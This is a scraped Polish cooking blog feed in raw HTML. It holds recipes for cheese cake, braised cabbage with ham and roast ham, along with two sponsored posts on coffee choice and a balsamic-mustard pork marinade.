href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVd7W_nayAMgT_A1mGD2dHzxaDjETklMJ1s1X3is6OGXF7XzhjRO4zqBl7Haj164AtSVSvFeDqPpdPYglp3ApFPFQ-Y0ZmPPlhd_lnh0u3OXHeDm98-3jN8M8eqmETU5JsnareHrOst-5IOj1eIfaVKREzm74EwnIQQr89TCny7QxDO3u5C0o9ZTmut6vh/s1600/Ciasto_ucierane_z_serem.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Ciasto z serem z wiaderka" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVd7W_nayAMgT_A1mGD2dHzxaDjETklMJ1s1X3is6OGXF7XzhjRO4zqBl7Haj164AtSVSvFeDqPpdPYglp3ApFPFQ-Y0ZmPPlhd_lnh0u3OXHeDm98-3jN8M8eqmETU5JsnareHrOst-5IOj1eIfaVKREzm74EwnIQQr89TCny7QxDO3u5C0o9ZTmut6vh/w400-h300/Ciasto_ucierane_z_serem.jpg" title="Ciasto ucierane z serem" width="400" /></a></div><span><a name='more'></a></span><div class="separator" style="clear: both; text-align: left;"><b>Ciasto ucierane z serem</b> przygotowałam z mielonego sera twarogowego z wiaderka. <b>Ciasto z serem</b> nie jest bardzo puszyste, ma raczej strukturę wilgotnej babki ucieranej. <b>Ciasto ucierane </b>zawiera masło, które od razu po upieczeniu nadaje ciastu delikatności, ale po schłodzeniu zastyga i je nieco usztywnia. Na 5 minut przed podaniem ciasto z serem najlepiej wyjąć z lodówki, wtedy będzie miało odpowiednią strukturę.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">U mnie ser jest na wierzchu ciasta ucieranego. Ser będzie w środku, jeśli ciasto przed pieczeniem podzielimy na 2 części i ser wyłożymy na jedną część, a na nim rozsmarujemy drugą. Taki <b>prosty sernik</b> na ucieranym cieście jest umiarkowanie słodki, dobrze się kroi i świetnie smakuje.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Przygotowując ciasto ucierane, trzeba pamiętać, aby po dodaniu mąki zbyt długo ciasta nie mieszać, gdyż po upieczeniu może być twarde. Masę mieszać tylko tyle, aby połączyły się składniki i nie było w niej grudek suchej mąki.</div><div style="text-align: center;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8faHFr5z5l_6q2BPUgpTvkPKRWSZ6isMVWDo1is1ZLecMd_bxVLxUgyA8sxakcr_kItS1M9pFLmWBf9sNayaMZBtn48bI7wFG3g15dGQR7BIc7duokubjMDNwcjVyEWXXoTN3_TW_JxsVZ7D2Nm9sXlqaCquOq1HDjBgKgqjrsJmWYgtrhtSiWwefVnEN/s1600/Ciasto_ucierane_z_serem1.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Sernik na ucieranym cieście" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8faHFr5z5l_6q2BPUgpTvkPKRWSZ6isMVWDo1is1ZLecMd_bxVLxUgyA8sxakcr_kItS1M9pFLmWBf9sNayaMZBtn48bI7wFG3g15dGQR7BIc7duokubjMDNwcjVyEWXXoTN3_TW_JxsVZ7D2Nm9sXlqaCquOq1HDjBgKgqjrsJmWYgtrhtSiWwefVnEN/w400-h300/Ciasto_ucierane_z_serem1.jpg" title="Ciasto ucierane z serem" width="400" /></a></div></div><fieldset>Liczba porcji: 22<br />Czas przygotowania: 30 minut<br />Czas pieczenia: 60 minut<br /><a title="Wartość kaloryczna 100 g potrawy jest szacunkowa. Produkty producentów mogą różnić się liczbą kcal.">Wartość kaloryczna:</a> 100 g = 302 kcal<br />Kategoria: deser<br />Dieta: wegetariańska<br />Forma: 29 cm x 24 cm x 7 cm</fieldset><h3 style="text-align: center;">Przepis na ciasto ucierane z serem</h3><h4 style="text-align: left;">Składniki na ciasto ucierane z serem:</h4></div><div><ul style="text-align: left;"><li>5 jajek</li><li>220 g mąki pszennej typ 450</li><li>50 g mąki ziemniaczanej</li><li>1 łyżeczka proszku do pieczenia</li><li>200 g masła 82%</li><li>200 g cukru</li></ul><div style="text-align: left;"><b>Masa serowa: </b></div><ul style="text-align: left;"><li>1000 g sera białego mielonego (u mnie z wiaderka)</li><li>2 jajka</li><li>1 budyń waniliowy bez cukru (35 g)</li><li>50 g cukru pudru</li><li>1 łyżeczka soku z cytryny</li><li>cukier puder do posypania</li></ul></div><div>
<b><span style="font-size: large;">Opis krok po kroku:</span></b><br /><h4 style="text-align: left;">Jak zrobić ciasto ucierane z serem?</h4></div><div><ol style="text-align: left;"><li>Masło utrzeć z cukrem, aż nie będzie wyczuwalnych kryształków cukru.</li><li>Nie przerywając ucierania dodawać po jednym jajku i ucierać, aż masa stanie się jasna i puszysta.</li><li>Następnie dodawać partiami przesiane z proszkiem do pieczenia mąki i krótko mieszać, aby połączyły się składniki. W masie nie powinno być suchych grudek mąki. </li><li>Ciasto przełożyć do formy wyłożone papierem do pieczenia i wyrównać.</li><li>Na ciasto delikatnie rozłożyć masę serową i wyrównać.</li><li>Piec w piekarniku nagrzanym góra-dół do 175 stopni C około 60 minut, do suchego patyczka.</li><li>Po wystudzeniu ciasto oprószyć cukrem pudrem.</li></ol><b>Masa z sera:</b><br /><ol style="text-align: left;"><li>Jajka krótko ucierać z cukrem, dodając po kilka łyżek sera.</li><li>Na koniec dodać budyń i sok z cytryny, dokładnie wymieszać.</li><li>Masy długo nie miksować, gdyż się mocno napowietrzy i po upieczeniu wierzch ciasta będzie nierówny.<br /><br /><b><span style="color: #990000;">Zobacz również:</span></b> <a href="https://www.kuchcikgotuje.pl/2022/12/ciasto-drozdzowe-z-serem.html" target="_blank">ciasto drożdżowe z serem.</a></li></ol></div>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com0tag:blogger.com,1999:blog-2509800748059388515.post-47046937395016697472024-02-26T11:22:00.003+01:002024-02-26T11:22:53.501+01:00Jaka kawa do ekspresu? Kluczowe wskazówki<h2>Kawa jest napojem, który ma niezwykłą zdolność budzenia zmysłów i dodawania energii. Dla wielu osób poranna kawa to nie tylko rutynowe spożycie kofeiny, ale także chwila relaksu i przyjemności. <span>Szukasz najlepszej kawy ziarnistej, a może wolisz mielone, palone ziarna kawy? Najlepsza kawa do ekspresu, jaką wybrać?</span> </h2>
<h2 style="text-align: center;"><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdZkrxM0rnh1RQVErn0eWkrlrGfcpOSQGu9p0VeMaWWTHhCdmzOmc_ycyEPXwz-1wVAjP9Z1UFiqIhKovbiNWoToCEH5q2YDQmm1jS8yc9uPGDyiKTMy3SE93gZ6c5-xxytjrMGkfk_QO5Re8R2Cjf6kc4IfkSVoAJu2Xp6IEWrG9IBKWb77gztRe4LBk/s1600/Fili%C5%BCanka_kawy_jak_parzy%C4%87.jpg" style="margin-left: auto; margin-right: auto;"><img alt="Kawa z ekspresu w filiżance" border="0" data-original-height="1143" data-original-width="1600" height="286" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdZkrxM0rnh1RQVErn0eWkrlrGfcpOSQGu9p0VeMaWWTHhCdmzOmc_ycyEPXwz-1wVAjP9Z1UFiqIhKovbiNWoToCEH5q2YDQmm1jS8yc9uPGDyiKTMy3SE93gZ6c5-xxytjrMGkfk_QO5Re8R2Cjf6kc4IfkSVoAJu2Xp6IEWrG9IBKWb77gztRe4LBk/w400-h286/Fili%C5%BCanka_kawy_jak_parzy%C4%87.jpg" title="Jaka kawa do ekspresu? Kluczowe wskazówki" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: right;"><span style="font-size: x-small;">Źródło: pixabay.com</span></td></tr></tbody></table><span><a name='more'></a></span></h2><h2><span>Jaka kawa do ekspresu?</span></h2>
<p>Gdy przychodzi czas na wybór kawy do ekspresu, istnieje kilka podstawowych typów, spośród których można wybierać. Każdy typ kawy ma swoje zalety i wady, a wybór zależy głównie od indywidualnych preferencji smakowych oraz rodzaju ekspresu, którego używamy.</p>
<p>Pierwszym typem jest kawa ziarnista. Jest to forma kawy, która dostarcza najwięcej elastyczności i świeżości. Ziarna kawy są palone, a następnie mielone tuż przed przygotowaniem napoju, co gwarantuje zachowanie pełni aromatu i smaku. Kawę ziarnistą wybierają osoby, które lubią świeżość i intensywny smak kawy oraz chcą eksperymentować z różnymi stopniami zmielenia.</p>
<p>Drugą popularną opcją jest kawa zmielona. Jest to kawa, która została już zmielona i zapakowana, dzięki czemu jest bardziej wygodna w użyciu. Kawa zmielona nadaje się do różnych typów ekspresów, od tradycyjnych po automatyczne, a nawet do <span>ekspresu ciśnieniowego</span>.</p>
<p>Kolejnym typem kawy jest kawa kapsułkowa. Kapsułki kawy zawierają precyzyjnie odmierzoną ilość kawy i są przeznaczone do ekspresów z systemem kapsułkowym. </p>
<h2><span>Aromatyczna kawa</span></h2>
<p>Rodzaje kawy mogą być różnorodne, a wybór zależy od indywidualnych preferencji smakowych oraz sposobu przygotowania. Kilka popularnych rodzajów kawy, które spotyka się na rynku to m.in.:</p>
<ol>
<li>
<p>Arabika - Jest to najbardziej rozpowszechniony gatunek kawy na świecie, stanowiący około 60-70% globalnej produkcji. Arabika charakteryzuje się delikatnym smakiem, wyższą kwasowością i subtelniejszym aromatem. Jest to kawa ceniona przez smakoszy za jej złożoność i bogactwo smaku.</p>
</li>
<li>
<p>Robusta - Jest drugim co do wielkości gatunkiem kawy i stanowi około 30-40% światowej produkcji. Jest odmianą kawy o mocniejszym i bardziej wyrazistym smaku, często cechującym się wyższą zawartością kofeiny. Robusta jest popularna w kawie espresso ze względu na swoją intensywność i gęstą piankę.</p>
</li>
<li>
<p>Blendy - To mieszanki różnych odmian kaw, które są starannie dobrane, żeby uzyskać określony smak i aromat. Mogą zawierać zarówno arabikę, jak i robustę w różnych proporcjach, dostosowując się do preferencji konsumentów i wymagań danego napoju.</p>
</li>
<li>Kawa jednorodna - Pochodzi z jednego konkretnego regionu lub plantacji. Często wybierana przez koneserów, którzy cenią sobie unikalne cechy smakowe i aromatyczne charakterystyczne dla danego obszaru uprawy.</li>
<li>
<p>Kawa z dodatkami - Istnieją również kawy aromatyzowane, które zawierają dodatki takie jak wanilia, czekolada, karmel, czy przyprawy. Takie kawy mogą dodać interesujących aromatów i smaków.</p>
</li>
</ol>
<p>Niektóre inne rodzaje kawy obejmują również kawy organiczne, zrównoważone ekologicznie oraz kawy dekofeinowane. Każdy rodzaj ma swoje unikalne cechy smakowe i aromatyczne. Wejdź na stronę <a href="https://www.mediaexpert.pl/agd-male/do-kuchni/kawy-i-herbaty" target="_blank">https://www.mediaexpert.pl/agd-male/do-kuchni/kawy-i-herbaty</a> i wybierz swoją ulubioną kawę.</p>
<h2><span>Dobra kawa ziarnista lub mielona <br /></span></h2>
<p>Wybór odpowiedniej kawy do ekspresu może być czasochłonnym procesem, ale jest kluczowy dla uzyskania najlepszego smaku napoju. Przed zakupem warto zapoznać się ze specyfikacjami ekspresu oraz zaleceniami producenta odnośnie rodzaju kawy, który najlepiej się sprawdzi. Pamiętajmy również, że eksperymentowanie z różnymi gatunkami i rodzajami kawy może być fascynującym doświadczeniem, które pozwoli nam odkryć nowe smaki i aromaty.<br /></p><div style="text-align: right;">*artykuł sponsorowany</div><p></p>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com1tag:blogger.com,1999:blog-2509800748059388515.post-1137868461399936952024-02-22T11:24:00.004+01:002024-02-22T11:27:05.778+01:00Przepis na pyszne połączenie karkówki z octem balsamicznym i musztardą
<h2 style="text-align: left;">Czy poszukujesz sposobu, aby odświeżyć tradycyjne metody przygotowywania karkówki? Pragniesz odkryć sekret mięsa, które rozpływa się w ustach, zachwycając bogactwem smaków i aromatów? Kluczem do sukcesu jest marynata - nie tylko zwykła, ale taka, która łączy w sobie wyjątkową głębię octu balsamicznego z pikantną nutą musztardy. Ten artykuł został stworzony, aby podzielić się z Tobą przepisem na karkówkę, która stanie się gwiazdą każdego spotkania przy stole. Dzięki starannie dobranym składnikom i prostym krokom przygotowania, odkryjesz, jak łatwo można przemienić zwykłą karkówkę w dzieło kulinarne, które zaskoczy nawet najbardziej wymagających smakoszy.<span style="text-align: center;"> </span></h2><p style="text-align: center;"></p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-2xIl9FLS2rJcbbjWqrb1Eqqfi0HwuISlZkNuVSx94R1_r-V7dGrhR-1e1wcPB70U0zp5dDAEr63PIKxb1ouzqPcSZeDuluYkLJtHJA_ieoFLJuy-QpvAZJEwEdUAN56cUqan2-JGk8GQEuqhF6ivfcUS3krPYeLpk3LKTo3snT3qAiE_f7yH3C46ATo/s670/Kark%C3%B3wka%20marynowana%20w%20musztardzie%20i%20occie%20balsamicznym.jpg" style="margin-left: auto; margin-right: auto;"><img alt="Karkówka z octem balsamicznym i musztardą" border="0" data-original-height="420" data-original-width="670" height="251" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-2xIl9FLS2rJcbbjWqrb1Eqqfi0HwuISlZkNuVSx94R1_r-V7dGrhR-1e1wcPB70U0zp5dDAEr63PIKxb1ouzqPcSZeDuluYkLJtHJA_ieoFLJuy-QpvAZJEwEdUAN56cUqan2-JGk8GQEuqhF6ivfcUS3krPYeLpk3LKTo3snT3qAiE_f7yH3C46ATo/w400-h251/Kark%C3%B3wka%20marynowana%20w%20musztardzie%20i%20occie%20balsamicznym.jpg" title="Przepis na pyszne połączenie karkówki z octem balsamicznym i musztardą" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: right;"><span style="font-size: x-small;">Źródło: własne</span></td></tr></tbody></table><span><a name='more'></a></span><div style="text-align: left;"><strong>Marynata do karkówki</strong> jest nie tylko sercem tego przepisu, ale także kluczowym elementem, który decyduje o końcowym sukcesie dania. Zawiera w sobie idealnie zbalansowane proporcje, dzięki czemu mięso staje się niezwykle soczyste, a jego smak nabiera niepowtarzalnej głębi. Znaczenie odpowiednio przygotowanej marynaty nie można przecenić - to ona sprawia, że karkówka z <strong>octem balsamicznym i musztardą</strong> przekształca się w kulinarne arcydzieło.</div>
<h2>Zalety marynowania mięsa</h2>
<p> Marynowanie mięsa to starożytna technika kulinarna, która przez wieki ewoluowała, oferując nie tylko sposób na konserwację, ale także na podkreślenie smaku i poprawę tekstury potraw. W przypadku tak szlachetnego kawałka jak karkówka, odpowiednio przygotowana <a href="https://www.octim.com.pl/recipe/karkowka-marynowana-w-musztardzie-i-occie-balsamicznym/" target="_blank">marynata do karkówki</a> może zdziałać cuda. Zaczynając od zmiękczenia włókien mięsnych, poprzez wzbogacenie smaku, aż po zapewnienie wilgotności i soczystości gotowego produktu, marynowanie stanowi klucz do sukcesu przyrządzania mięs.</p>
<h3>Rola octu balsamicznego i musztardy w marynacie </h3>
<p>Wśród szerokiej gamy składników używanych do marynowania, <strong>ocet balsamiczny i musztarda</strong> wyróżniają się jako składniki, które wnoszą wyjątkową wartość. Ocet balsamiczny, dzięki swojej delikatnej kwasowości i słodkawemu posmaku, nie tylko pomaga zmiękczać mięso, ale także dodaje potrawie głębi smakowej. Z kolei musztarda, z jej pikantnym i intensywnym aromatem, wnosi do marynaty element ożywczy, który w połączeniu z octem balsamicznym tworzy harmonijną całość, podkreślając charakterystyczne cechy karkówki. </p>
<h2>Składniki potrzebne do marynaty do karkówki</h2>
<p>Przygotowanie <strong>dobrej</strong> <strong>marynaty do karkówki</strong> rozpoczyna się od wyboru odpowiednich składników. Kluczowym aspektem jest zapewnienie, że wszystkie komponenty są wysokiej jakości i świeże. W tej części artykułu przedstawimy dokładną listę składników niezbędnych do stworzenia naszej wyjątkowej marynaty, w tym <strong>ocet balsamiczny</strong>, musztardę, oliwę z oliwek, czosnek, zioła takie jak rozmaryn czy tymianek oraz przyprawy, które razem tworzą perfekcyjną harmonię smaków.</p>
<h3>Krok po kroku - przygotowanie marynaty</h3>
<p>Przygotowanie <strong>marynaty do karkówki</strong> może wydawać się skomplikowane, ale z naszym przewodnikiem krok po kroku stanie się proste i przyjemne. W tej części artykułu przejdziemy przez cały proces przygotowania marynaty, począwszy od mieszania składników, przez właściwe marynowanie mięsa, aż po wskazówki dotyczące czasu i warunków marynowania. Przeredagowany przepis, dostosowany z podanego źródła, zostanie przedstawiony w sposób zrozumiały i łatwy do wykonania, zapewniając, że nawet osoby nieposiadające dużego doświadczenia w kuchni będą mogły osiągnąć doskonałe wyniki.</p>
<h2>Jak upiec karkówkę do perfekcji?</h2>
<p>Aby upiec karkówkę do perfekcji, istotne jest odpowiednie przygotowanie i pieczenie. Zacznij od marynowania mięsa przez 4-24 godziny, aby zapewnić głębię smaku i soczystość. Następnie, piecz karkówkę w piekarniku nagrzanym do 180°C. Ważne jest, aby <strong>mięso piec równomiernie</strong>, co osiągniesz, obracając je co jakiś czas. Użyj termometru do mięsa, by upewnić się, że wewnętrzna temperatura osiągnęła 70°C, co gwarantuje idealną miękkość. Pamiętaj o odpoczynku mięsa przed podaniem, by soki się równomiernie rozprowadziły.</p>
<h3>Dodatki idealnie komponujące się z karkówką</h3>
<p>Wybór odpowiednich <strong>dodatków do karkówki </strong>jest równie ważny, co sama technika przygotowania mięsa. Idealne dodatki nie tylko uzupełniają smak i teksturę karkówki, ale również wzbogacają cały posiłek, czyniąc go bardziej zróżnicowanym i satysfakcjonującym. Klasycznym wyborem są pieczone warzywa, takie jak marchew, ziemniaki czy pietruszka, które zyskują na słodyczy podczas pieczenia i doskonale harmonizują z bogatym smakiem mięsa. Równie dobrze sprawdzi się purée ziemniaczane, które swoją kremową konsystencją idealnie komponuje się z soczystością karkówki, dodając danie lekkości i delikatności. Aby dodać posiłkowi świeżości, warto zaserwować obok kolorową sałatkę z sezonowych warzyw, która swoją chrupkością i lekkością będzie stanowić doskonały kontrast dla głównego dania.</p>
<p>Nie można również zapomnieć o sosach, które mogą całkowicie odmienić charakter potrawy. Sos na bazie octu balsamicznego, z dodatkiem musztardy i ziół, jest idealny do podkreślenia głębi smaku karkówki, dodając jej pikantnej nuty i nieco słodyczy. Inną interesującą opcją jest sos czosnkowy lub ziołowy, który swoim intensywnym aromatem wzbogaci każdy kęs. Dla tych, którzy preferują bardziej wyrafinowane połączenia, sos śliwkowy lub malinowy będzie niebanalnym dodatkiem, wprowadzającym do dania słodko-kwaśny akcent. Pamiętając o tych dodatkach, każdy miłośnik kuchni będzie mógł stworzyć posiłek, który nie tylko zadowoli podniebienie, ale również stanie się prawdziwym uczuciem dla zmysłów, oferując bogactwo smaków i aromatów.</p>
<h2>5 Najczęściej popełnianych błędów przy marynowaniu karkówki</h2>
<ul>
<li><strong>Nieprzestrzeganie odpowiedniego czasu marynowania</strong>: Jednym z najczęstszych błędów jest zbyt krótkie lub zbyt długie marynowanie karkówki. Zbyt krótki czas nie pozwoli smakom w pełni przeniknąć do mięsa, podczas gdy zbyt długi może spowodować, że mięso stanie się zbyt miękkie lub się rozpadnie. Idealny czas to zazwyczaj od 4 do 24 godzin, w zależności od przepisu.</li></ul>
<ul>
<li><strong>Używanie zbyt dużo soli w marynacie</strong>: Chociaż sól jest ważnym składnikiem marynaty, jej nadmiar może spowodować, że mięso stanie się zbyt słone i wyprowadzi z niego wilgoć, czyniąc je suchym. Ważne jest, aby stosować sól z umiarem i skupić się na innych składnikach marynaty, które dodają smak bez ryzyka przesolenia.</li></ul>
<ul>
<li><strong>Brak równomiernego pokrycia mięsa marynatą</strong>: Aby zapewnić, że każda część karkówki jest równomiernie nasączona smakiem, ważne jest, aby dokładnie i równomiernie pokryć mięso marynatą. Używanie worka do marynowania lub szczelnego pojemnika i obracanie mięsa kilka razy w trakcie marynowania może pomóc osiągnąć najlepsze efekty.</li></ul>
<ul>
<li><strong>Marynowanie mięsa w niewłaściwej temperaturze</strong>: Marynowanie karkówki w temperaturze pokojowej jest błędem, który może prowadzić do wzrostu bakterii. Zawsze marynuj mięso w lodówce, aby zapewnić bezpieczeństwo i świeżość składników.</li></ul>
<ul>
<li><strong>Używanie metalowych naczyń do marynowania</strong>: Metalowe naczynia mogą wchodzić w reakcję z kwasami obecnymi w marynacie (np. z octem balsamicznym), co może wpłynąć na smak mięsa. Zamiast tego, zaleca się używanie szklanych, ceramicznych lub plastikowych pojemników, które nie reagują z kwasami.</li></ul>
<h2>Zakończenie</h2>
<p>Podsumowując naszą kulinarną podróż po tajnikach przygotowywania idealnej karkówki z octem balsamicznym i musztardą, mamy nadzieję, że przedstawione wskazówki, przepis na marynatę oraz porady dotyczące gotowania i serwowania tego wyjątkowego dania zainspirują Cię do eksperymentowania w kuchni. Marynowanie karkówki to sztuka, która wymaga cierpliwości, zrozumienia i pasji do smaków, ale efekty końcowe z pewnością wynagrodzą wszelkie wysiłki. Pamiętaj o unikaniu najczęstszych błędów przy marynowaniu i skorzystaj z naszych wskazówek, aby każdy kęs był pełen głębi smaku i aromatu.</p>
<p>Nie ma większej satysfakcji niż zobaczenie uśmiechów na twarzach gości, gdy próbują Twojej karkówki, przyrządzonej z dbałością i maestrią. Odkrywanie nowych smaków, kombinowanie składników i dzielenie się wynikami z bliskimi to esencja gotowania, która sprawia, że każda chwila spędzona w kuchni jest nie tylko pracą, ale przede wszystkim przyjemnością.<br /></p><div style="text-align: right;">*artykuł sponsorowany</div><p></p>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com0tag:blogger.com,1999:blog-2509800748059388515.post-20747134949215717172024-02-17T10:17:00.001+01:002024-02-17T10:17:14.380+01:00Kapusta duszona z szynką<h2 style="text-align: left;">Kapusta duszona z szynką jest to mniej kaloryczna i łatwiejsza do zrobienia wersja bigosu. Kapusta z szynką ugotowana jest z kapusty świeżej i kiszonej, dlatego ma więcej smaku. Duszona kapusta jest mniej rozgotowana niż bigos, gdyż krócej się ją gotuje. Świetne danie na pożywny obiad, który zawiera mało tłuszczu i jest zdrowy.</h2><div><div style="text-align: center;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp31CRH-iskz8_EXzsep9SS2ITzLBk5pjmzJySjgQ0ZgQx3qzj7ohGdyzbDzyBISv7-mc41WoW3urWe8p1U_Y9pIWu9ArbBoBl7Py7hVlcskJH2sNveRHf3X_eRIOcblGgwrA7JiUgxJGZoN6nlLo1OT9TrmlKGPCBqSJhQCodCSEMG2OtSErimA6Q00E/s1600/Bigos_z_kwasna_kapusta_i_szynka.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Kapusta duszona z warzywami i szynką" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp31CRH-iskz8_EXzsep9SS2ITzLBk5pjmzJySjgQ0ZgQx3qzj7ohGdyzbDzyBISv7-mc41WoW3urWe8p1U_Y9pIWu9ArbBoBl7Py7hVlcskJH2sNveRHf3X_eRIOcblGgwrA7JiUgxJGZoN6nlLo1OT9TrmlKGPCBqSJhQCodCSEMG2OtSErimA6Q00E/w400-h300/Bigos_z_kwasna_kapusta_i_szynka.jpg" title="Kapusta duszona z szynką" width="400" /></a></div><span><a name='more'></a></span><div class="separator" style="clear: both; text-align: left;"><b>Kapusta duszona z szynką</b> jest łatwa do przygotowania, ale trzeba zachować jedną zasadę. Kiszoną kapustę zawsze trzeba gotować oddzielnie i nie dodawać jej, zanim mięso i kapusta świeża nie będą miękkie. Kwas z kiszonej kapusty sprawia, że mięso staje się twarde i długo trzeba je gotować.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><b>Duszona kapusta</b> dobrze smakuje podana z tłuczonymi ziemniakami lub z chrupiącym razowym pieczywem. <b>Szynka w kapuście</b> świetnie obniża wartość kaloryczną dania, gdyż jest mniej tłusta niż np. łopatka wieprzowa.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Danie jednogarnkowe, które świetnie smakuje po podgrzaniu, nawet na drugi dzień.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifsUOO4WzAm36Hg9KQWXhKrKcDDvfMisTsksOH1QapHXtGPG1oT2NLBqeWHATU6FNDrHAdX_TI_Vmv8rCKsVzL-5a-MOZjmLAI3k1mwwQaRGMiY58Tg299dqw6JLVRZ79gGBOj3PpGB7snWnf0ac9I8VYghL6jrNH3ZWmLfKL8KaTbtG02sLm-LzAwrKg/s1600/Bigos_z_kwasna_kapusta_i_szynka1.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Bigos z kapusty świeżej i kiszonej" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifsUOO4WzAm36Hg9KQWXhKrKcDDvfMisTsksOH1QapHXtGPG1oT2NLBqeWHATU6FNDrHAdX_TI_Vmv8rCKsVzL-5a-MOZjmLAI3k1mwwQaRGMiY58Tg299dqw6JLVRZ79gGBOj3PpGB7snWnf0ac9I8VYghL6jrNH3ZWmLfKL8KaTbtG02sLm-LzAwrKg/w400-h300/Bigos_z_kwasna_kapusta_i_szynka1.jpg" title="Kapusta duszona z szynką" width="400" /></a></div></div><fieldset>Liczba porcji: 10<br />Czas przygotowania: 50 minut<br />Czas gotowania: 80 minut<br /><a title="Wartość kaloryczna 100 g potrawy jest szacunkowa. Produkty producentów mogą różnić się liczbą kcal.">Wartość kaloryczna:</a> 100 g = 101 kcal<br />Kategoria: obiad<br />Dieta: mięsna<br />Forma: 4 l garnek</fieldset><h3 style="text-align: center;">Przepis na kapustę duszoną z szynką</h3><h4 style="text-align: left;">Składniki na kapustę duszoną z szynką:</h4></div><div><ul style="text-align: left;"><li>1 kg szynki wieprzowej</li><li>2,5 kg świeżej kapusty</li><li>1 kg kiszonej kapusty</li><li>3 marchewki</li><li>1 pietruszka</li><li>1/2 korzenia selera</li><li>1 papryka czerwona (opcjonalnie)</li><li>2 cebule</li><li>3 ząbki czosnku</li><li>2 łyżeczki kminku</li><li>1 łyżeczka cząbru</li><li>3 łyżki majeranku</li><li>2 łyżeczki słodkiej papryki</li><li>2 łyżeczki pieprzu naturalnego</li><li>2 łyżeczki soli</li><li>3 liście laurowe</li><li>6 ziaren ziela angielskiego</li><li>4 łyżki oleju do smażenia</li></ul><div><i>Do odmierzania używam: łyżki - 15 ml, łyżeczki - 5 ml.</i></div>
<b><span style="font-size: large;">Opis krok po kroku:</span></b><br /><h4 style="text-align: left;">Jak zrobić kapustę duszoną z szynką?</h4></div><div><ol style="text-align: left;"><li>Kiszoną kapustę zalać wodą i dusić pod przykryciem około 30 minut, woda powinna pokrywać kapustę. Kapustę wcześniej można przelać wodą, jeśli jest oczywiście bardzo kwaśna, w innym przypadku tego nie robić.</li><li>Kapustę świeżą po oczyszczeniu drobno poszatkować.</li><li>Mięso oczyścić, pokroić na mniejsze kawałki i obsmażyć na dobrze rozgrzanej patelni.</li><li>Podsmażoną szynkę zalać ciepłą wodą, dodać liście laurowe, ziele angielskie i dusić pod przykryciem około 25 minut. Woda ma tylko pokrywać mięso.</li><li>Następnie obrać, drobno pokroić czosnek i cebulę, podsmażyć na oleju i dodać do mięsa.</li><li>Marchew, pietruszkę i selera obrać, pokroić na mniejsze kawałki i dodać do podduszonego mięsa.</li><li>Następnie dodać poszatkowaną świeżą kapustę, kminek, cząber i majeranek. Dusić około 25 minut, aż kapusta zmięknie.</li><li>Sprawdzić, czy mięso jest już ugotowane, jeśli tak, to dodać ugotowaną kiszoną kapustę.</li><li>Przyprawić słodką papryką, pieprzem i solą, dusić do czasu, aż wszystkie składniki będą ugotowane.</li><li>Pod koniec dodać drobno pokrojoną paprykę i dusić około 5 minut.</li><li>Kapustę duszoną z szynką doprawić pieprzem i solą według swoich upodobań.<br /><br /><b><span style="color: #990000;">Zobacz również:</span></b> <a href="https://www.kuchcikgotuje.pl/2015/09/opatka-w-kapuscie.html" target="_blank">łopatka w kapuście.</a></li></ol></div>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com0tag:blogger.com,1999:blog-2509800748059388515.post-42325916051287220452024-02-10T08:10:00.001+01:002024-02-10T08:11:38.977+01:00Szynka pieczona z warzywami<div><h2 style="text-align: left;">Szynka pieczona z warzywami jest smacznym i łatwym do przygotowania daniem na obiad. Pieczona szynka jest chudym mięsem, świetnie sprawdza się nie tylko jako domowy obiad, ale i podana na przyjęciu. Prosty przepis na szynkę z piekarnika, który z łatwością zrobi nawet mniej obyta w kuchni osoba. Pieczone mięso z warzywami na pewno posmakuje zarówno dzieciom, jak i osobom dorosłym.</h2><div style="text-align: center;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8958Z4BfKAB7uljGgLVLvMgT1eQIZwncToODnkmL6L9NsTFdT0AaC5W3R5Io9vHpVqtz4ykj52_8PT_ZycmIVOI2bhliWf-R_sVY7IdCVzu7rPR_4IYU8jWJFjxAx68YwtbwzjQsE3Gfn8b09wYwjTwqctv6ckd1fvJW1r43blCIiJoJNSg5QK6n2H8DH/s1600/Szynka%20pieczona%20z%20warzywami.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Szynka 